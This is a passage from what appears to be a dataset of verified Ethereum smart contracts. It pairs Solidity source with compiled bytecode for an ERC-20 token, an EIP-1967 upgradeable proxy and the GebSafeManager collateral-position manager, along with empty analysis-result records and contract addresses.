* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract OC is StandardToken {
string public constant name = "EAU-COIN ROUND ONE"; // solium-disable-line uppercase
string public constant symbol = "OC"; // solium-disable-line uppercase
uint8 public constant decimals = 8; // solium-disable-line uppercase
address public constant tokenOwner = 0x20A2568038e59f7178793655daE080F7207c4C0b;
uint256 public constant INITIAL_SUPPLY = 6750000000 * (10 ** uint256(decimals));
function OC() public {
totalSupply_ = INITIAL_SUPPLY;
balances[tokenOwner] = INITIAL_SUPPLY;
emit Transfer(0x0, tokenOwner, INITIAL_SUPPLY);
}
}
|
0x6080604052600436106100c45763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100c9578063095ea7b31461015357806318160ddd1461018b57806323b872dd146101b25780632ff2e9dc146101dc578063313ce567146101f1578063661884631461021c57806370a082311461024057806395d89b4114610261578063a3e6761014610276578063a9059cbb146102a7578063d73dd623146102cb578063dd62ed3e146102ef575b600080fd5b3480156100d557600080fd5b506100de610316565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610118578181015183820152602001610100565b50505050905090810190601f1680156101455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015f57600080fd5b50610177600160a060020a036004351660243561034d565b604080519115158252519081900360200190f35b34801561019757600080fd5b506101a06103b3565b60408051918252519081900360200190f35b3480156101be57600080fd5b50610177600160a060020a03600435811690602435166044356103b9565b3480156101e857600080fd5b506101a0610530565b3480156101fd57600080fd5b5061020661053c565b6040805160ff9092168252519081900360200190f35b34801561022857600080fd5b50610177600160a060020a0360043516602435610541565b34801561024c57600080fd5b506101a0600160a060020a0360043516610631565b34801561026d57600080fd5b506100de61064c565b34801561028257600080fd5b5061028b610683565b60408051600160a060020a039092168252519081900360200190f35b3480156102b357600080fd5b50610177600160a060020a036004351660243561069b565b3480156102d757600080fd5b50610177600160a060020a036004351660243561077c565b3480156102fb57600080fd5b506101a0600160a060020a0360043581169060243516610815565b60408051808201909152601281527f4541552d434f494e20524f554e44204f4e450000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a03831615156103d057600080fd5b600160a060020a0384166000908152602081905260409020548211156103f557600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561042557600080fd5b600160a060020a03841660009081526020819052604090205461044e908363ffffffff61084016565b600160a060020a038086166000908152602081905260408082209390935590851681522054610483908363ffffffff61085216565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546104c5908363ffffffff61084016565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b67095e14ec7763800081565b600881565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561059657336000908152600260209081526040808320600160a060020a03881684529091528120556105cb565b6105a6818463ffffffff61084016565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60408051808201909152600281527f4f43000000000000000000000000000000000000000000000000000000000000602082015281565b7320a2568038e59f7178793655dae080f7207c4c0b81565b6000600160a060020a03831615156106b257600080fd5b336000908152602081905260409020548211156106ce57600080fd5b336000908152602081905260409020546106ee908363ffffffff61084016565b3360009081526020819052604080822092909255600160a060020a03851681522054610720908363ffffffff61085216565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a03861684529091528120546107b0908363ffffffff61085216565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60008282111561084c57fe5b50900390565b8181018281101561085f57fe5b929150505600a165627a7a7230582041d454366b277a258bf3720995a9066693da61fc4801833d7db0ac442309c59a0029
|
{"success": true, "error": null, "results": {}}
| 8,257 |
0xe034a649a800dd57b0d0bcb4043f94a24b17c680
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) =
target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback() external payable {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive() external payable {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(
gas(),
implementation,
0,
calldatasize(),
0,
0
)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(
IMPLEMENTATION_SLOT ==
bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)
);
_setImplementation(_logic);
if (_data.length > 0) {
(bool success, ) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT =
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal view override returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(
Address.isContract(newImplementation),
"Cannot set a proxy implementation to a non-contract address"
);
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(
address _logic,
address _admin,
bytes memory _data
) public payable UpgradeabilityProxy(_logic, _data) {
assert(
ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)
);
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT =
0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(
newAdmin != address(0),
"Cannot change the admin of a proxy to the zero address"
);
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data)
external
payable
ifAdmin
{
_upgradeTo(newImplementation);
(bool success, ) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal virtual override {
require(
msg.sender != _admin(),
"Cannot call fallback function from the proxy admin"
);
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100675780634f1ef286146100b85780635c60da1b146101515780638f28397014610192578063f851a440146101e35761005d565b3661005d5761005b610224565b005b610065610224565b005b34801561007357600080fd5b506100b66004803603602081101561008a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061023e565b005b61014f600480360360408110156100ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561010b57600080fd5b82018360208201111561011d57600080fd5b8035906020019184600183028401116401000000008311171561013f57600080fd5b9091929391929390505050610293565b005b34801561015d57600080fd5b50610166610369565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561019e57600080fd5b506101e1600480360360208110156101b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103c1565b005b3480156101ef57600080fd5b506101f861050e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61022c610579565b61023c61023761060f565b610640565b565b610246610666565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102875761028281610697565b610290565b61028f610224565b5b50565b61029b610666565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561035b576102d783610697565b60008373ffffffffffffffffffffffffffffffffffffffff168383604051808383808284378083019250505092505050600060405180830381855af49150503d8060008114610342576040519150601f19603f3d011682016040523d82523d6000602084013e610347565b606091505b505090508061035557600080fd5b50610364565b610363610224565b5b505050565b6000610373610666565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103b5576103ae61060f565b90506103be565b6103bd610224565b5b90565b6103c9610666565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561050257600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610482576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806107d76036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6104ab610666565b82604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a16104fd816106e6565b61050b565b61050a610224565b5b50565b6000610518610666565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561055a57610553610666565b9050610563565b610562610224565b5b90565b600080823b905060008111915050919050565b610581610666565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806107a56032913960400191505060405180910390fd5b61060d610715565b565b6000807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b9050805491505090565b3660008037600080366000845af43d6000803e8060008114610661573d6000f35b3d6000fd5b6000807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610360001b9050805491505090565b6106a081610717565b8073ffffffffffffffffffffffffffffffffffffffff167fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b60405160405180910390a250565b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610360001b90508181555050565b565b61072081610566565b610775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b81526020018061080d603b913960400191505060405180910390fd5b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b9050818155505056fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122080d35879c4dfa4d73a160c102b8d5a978d33ff638910cf7b8c9d8eca29b6405a64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,258 |
0xdf4bc9aa98cc8ecd90ba2bee73ad4a1a9c8d202b
|
// Copyright (C) 2018-2020 Maker Ecosystem Growth Holdings, INC.
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity 0.6.7;
abstract contract SAFEEngineLike {
function safes(bytes32, address) virtual public view returns (uint, uint);
function approveSAFEModification(address) virtual public;
function transferCollateral(bytes32, address, address, uint) virtual public;
function transferInternalCoins(address, address, uint) virtual public;
function modifySAFECollateralization(bytes32, address, address, address, int, int) virtual public;
function transferSAFECollateralAndDebt(bytes32, address, address, int, int) virtual public;
}
abstract contract LiquidationEngineLike {
function protectSAFE(bytes32, address, address) virtual external;
}
contract SAFEHandler {
constructor(address safeEngine) public {
SAFEEngineLike(safeEngine).approveSAFEModification(msg.sender);
}
}
contract GebSafeManager {
address public safeEngine;
uint public safei; // Auto incremental
mapping (uint => address) public safes; // SAFEId => SAFEHandler
mapping (uint => List) public safeList; // SAFEId => Prev & Next SAFEIds (double linked list)
mapping (uint => address) public ownsSAFE; // SAFEId => Owner
mapping (uint => bytes32) public collateralTypes; // SAFEId => CollateralType
mapping (address => uint) public firstSAFEID; // Owner => First SAFEId
mapping (address => uint) public lastSAFEID; // Owner => Last SAFEId
mapping (address => uint) public safeCount; // Owner => Amount of SAFEs
mapping (
address => mapping (
uint => mapping (
address => uint
)
)
) public safeCan; // Owner => SAFEId => Allowed Addr => True/False
mapping (
address => mapping (
address => uint
)
) public handlerCan; // SAFE handler => Allowed Addr => True/False
struct List {
uint prev;
uint next;
}
// --- Events ---
event AllowSAFE(
address sender,
uint safe,
address usr,
uint ok
);
event AllowHandler(
address sender,
address usr,
uint ok
);
event TransferSAFEOwnership(
address sender,
uint safe,
address dst
);
event OpenSAFE(address indexed sender, address indexed own, uint indexed safe);
event ModifySAFECollateralization(
address sender,
uint safe,
int deltaCollateral,
int deltaDebt
);
event TransferCollateral(
address sender,
uint safe,
address dst,
uint wad
);
event TransferCollateral(
address sender,
bytes32 collateralType,
uint safe,
address dst,
uint wad
);
event TransferInternalCoins(
address sender,
uint safe,
address dst,
uint rad
);
event QuitSystem(
address sender,
uint safe,
address dst
);
event EnterSystem(
address sender,
address src,
uint safe
);
event MoveSAFE(
address sender,
uint safeSrc,
uint safeDst
);
event ProtectSAFE(
address sender,
uint safe,
address liquidationEngine,
address saviour
);
modifier safeAllowed(
uint safe
) {
require(msg.sender == ownsSAFE[safe] || safeCan[ownsSAFE[safe]][safe][msg.sender] == 1, "safe-not-allowed");
_;
}
modifier handlerAllowed(
address handler
) {
require(
msg.sender == handler ||
handlerCan[handler][msg.sender] == 1,
"internal-system-safe-not-allowed"
);
_;
}
constructor(address safeEngine_) public {
safeEngine = safeEngine_;
}
// --- Math ---
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function toInt(uint x) internal pure returns (int y) {
y = int(x);
require(y >= 0);
}
// --- SAFE Manipulation ---
// Allow/disallow a usr address to manage the safe
function allowSAFE(
uint safe,
address usr,
uint ok
) public safeAllowed(safe) {
safeCan[ownsSAFE[safe]][safe][usr] = ok;
emit AllowSAFE(
msg.sender,
safe,
usr,
ok
);
}
// Allow/disallow a usr address to quit to the sender handler
function allowHandler(
address usr,
uint ok
) public {
handlerCan[msg.sender][usr] = ok;
emit AllowHandler(
msg.sender,
usr,
ok
);
}
// Open a new safe for a given usr address.
function openSAFE(
bytes32 collateralType,
address usr
) public returns (uint) {
require(usr != address(0), "usr-address-0");
safei = add(safei, 1);
safes[safei] = address(new SAFEHandler(safeEngine));
ownsSAFE[safei] = usr;
collateralTypes[safei] = collateralType;
// Add new SAFE to double linked list and pointers
if (firstSAFEID[usr] == 0) {
firstSAFEID[usr] = safei;
}
if (lastSAFEID[usr] != 0) {
safeList[safei].prev = lastSAFEID[usr];
safeList[lastSAFEID[usr]].next = safei;
}
lastSAFEID[usr] = safei;
safeCount[usr] = add(safeCount[usr], 1);
emit OpenSAFE(msg.sender, usr, safei);
return safei;
}
// Give the safe ownership to a dst address.
function transferSAFEOwnership(
uint safe,
address dst
) public safeAllowed(safe) {
require(dst != address(0), "dst-address-0");
require(dst != ownsSAFE[safe], "dst-already-owner");
// Remove transferred SAFE from double linked list of origin user and pointers
if (safeList[safe].prev != 0) {
safeList[safeList[safe].prev].next = safeList[safe].next; // Set the next pointer of the prev safe (if exists) to the next of the transferred one
}
if (safeList[safe].next != 0) { // If wasn't the last one
safeList[safeList[safe].next].prev = safeList[safe].prev; // Set the prev pointer of the next safe to the prev of the transferred one
} else { // If was the last one
lastSAFEID[ownsSAFE[safe]] = safeList[safe].prev; // Update last pointer of the owner
}
if (firstSAFEID[ownsSAFE[safe]] == safe) { // If was the first one
firstSAFEID[ownsSAFE[safe]] = safeList[safe].next; // Update first pointer of the owner
}
safeCount[ownsSAFE[safe]] = sub(safeCount[ownsSAFE[safe]], 1);
// Transfer ownership
ownsSAFE[safe] = dst;
// Add transferred SAFE to double linked list of destiny user and pointers
safeList[safe].prev = lastSAFEID[dst];
safeList[safe].next = 0;
if (lastSAFEID[dst] != 0) {
safeList[lastSAFEID[dst]].next = safe;
}
if (firstSAFEID[dst] == 0) {
firstSAFEID[dst] = safe;
}
lastSAFEID[dst] = safe;
safeCount[dst] = add(safeCount[dst], 1);
emit TransferSAFEOwnership(
msg.sender,
safe,
dst
);
}
// Modify a SAFE's collateralization ratio while keeping the generated COIN or collateral freed in the SAFE handler address.
function modifySAFECollateralization(
uint safe,
int deltaCollateral,
int deltaDebt
) public safeAllowed(safe) {
address safeHandler = safes[safe];
SAFEEngineLike(safeEngine).modifySAFECollateralization(
collateralTypes[safe],
safeHandler,
safeHandler,
safeHandler,
deltaCollateral,
deltaDebt
);
emit ModifySAFECollateralization(
msg.sender,
safe,
deltaCollateral,
deltaDebt
);
}
// Transfer wad amount of safe collateral from the safe address to a dst address.
function transferCollateral(
uint safe,
address dst,
uint wad
) public safeAllowed(safe) {
SAFEEngineLike(safeEngine).transferCollateral(collateralTypes[safe], safes[safe], dst, wad);
emit TransferCollateral(
msg.sender,
safe,
dst,
wad
);
}
// Transfer wad amount of any type of collateral (collateralType) from the safe address to a dst address.
// This function has the purpose to take away collateral from the system that doesn't correspond to the safe but was sent there wrongly.
function transferCollateral(
bytes32 collateralType,
uint safe,
address dst,
uint wad
) public safeAllowed(safe) {
SAFEEngineLike(safeEngine).transferCollateral(collateralType, safes[safe], dst, wad);
emit TransferCollateral(
msg.sender,
collateralType,
safe,
dst,
wad
);
}
// Transfer rad amount of COIN from the safe address to a dst address.
function transferInternalCoins(
uint safe,
address dst,
uint rad
) public safeAllowed(safe) {
SAFEEngineLike(safeEngine).transferInternalCoins(safes[safe], dst, rad);
emit TransferInternalCoins(
msg.sender,
safe,
dst,
rad
);
}
// Quit the system, migrating the safe (lockedCollateral, generatedDebt) to a different dst handler
function quitSystem(
uint safe,
address dst
) public safeAllowed(safe) handlerAllowed(dst) {
(uint lockedCollateral, uint generatedDebt) = SAFEEngineLike(safeEngine).safes(collateralTypes[safe], safes[safe]);
int deltaCollateral = toInt(lockedCollateral);
int deltaDebt = toInt(generatedDebt);
SAFEEngineLike(safeEngine).transferSAFECollateralAndDebt(
collateralTypes[safe],
safes[safe],
dst,
deltaCollateral,
deltaDebt
);
emit QuitSystem(
msg.sender,
safe,
dst
);
}
// Import a position from src handler to the handler owned by safe
function enterSystem(
address src,
uint safe
) public handlerAllowed(src) safeAllowed(safe) {
(uint lockedCollateral, uint generatedDebt) = SAFEEngineLike(safeEngine).safes(collateralTypes[safe], src);
int deltaCollateral = toInt(lockedCollateral);
int deltaDebt = toInt(generatedDebt);
SAFEEngineLike(safeEngine).transferSAFECollateralAndDebt(
collateralTypes[safe],
src,
safes[safe],
deltaCollateral,
deltaDebt
);
emit EnterSystem(
msg.sender,
src,
safe
);
}
// Move a position from safeSrc handler to the safeDst handler
function moveSAFE(
uint safeSrc,
uint safeDst
) public safeAllowed(safeSrc) safeAllowed(safeDst) {
require(collateralTypes[safeSrc] == collateralTypes[safeDst], "non-matching-safes");
(uint lockedCollateral, uint generatedDebt) = SAFEEngineLike(safeEngine).safes(collateralTypes[safeSrc], safes[safeSrc]);
int deltaCollateral = toInt(lockedCollateral);
int deltaDebt = toInt(generatedDebt);
SAFEEngineLike(safeEngine).transferSAFECollateralAndDebt(
collateralTypes[safeSrc],
safes[safeSrc],
safes[safeDst],
deltaCollateral,
deltaDebt
);
emit MoveSAFE(
msg.sender,
safeSrc,
safeDst
);
}
